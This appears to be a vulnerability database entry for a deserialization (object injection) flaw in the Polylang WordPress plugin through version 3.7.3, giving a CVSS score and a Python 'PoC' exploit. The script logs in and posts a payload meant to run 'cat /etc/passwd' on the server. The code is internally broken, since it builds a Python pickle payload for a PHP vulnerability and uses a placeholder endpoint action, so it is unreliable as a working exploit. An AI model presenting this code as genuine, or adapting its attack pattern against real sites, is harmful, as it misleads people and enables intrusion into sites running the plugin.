Deserialization of Untrusted Data vulnerability in Chouby Polylang polylang allows Object Injection.This issue affects Polylang: from n/a through <= 3.7.3.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Polylang <= 3.7.3 (所有版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import base64
# CVE-2025-64353 PoC - Polylang Deserialization
# Target: WordPress site with Polylang plugin <= 3.7.3
target_url = "http://target-wordpress-site.com"
username = "attacker_account"
password = "password"
# Generate malicious serialized payload
# Using PHP gadget chain for RCE
class Payload:
def __reduce__(self):
# Example: webshell upload or command execution
cmd = "cat /etc/passwd"
return (eval, (f"__import__('os').popen('{cmd}').read()",))
import pickle
malicious_data = pickle.dumps(Payload())
encoded_payload = base64.b64encode(malicious_data).decode()
# Login to WordPress
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': '/wp-admin/',
'testcookie': '1'
}
session.post(login_url, data=login_data)
# Send payload via Polylang endpoint
# Note: Actual endpoint depends on plugin version and configuration
exploit_url = f"{target_url}/wp-admin/admin-ajax.php"
exploit_data = {
'action': 'pll_update_term_counts', # Example action
'terms': encoded_payload
}
response = session.post(exploit_url, data=exploit_data)
print(f"Response: {response.text}")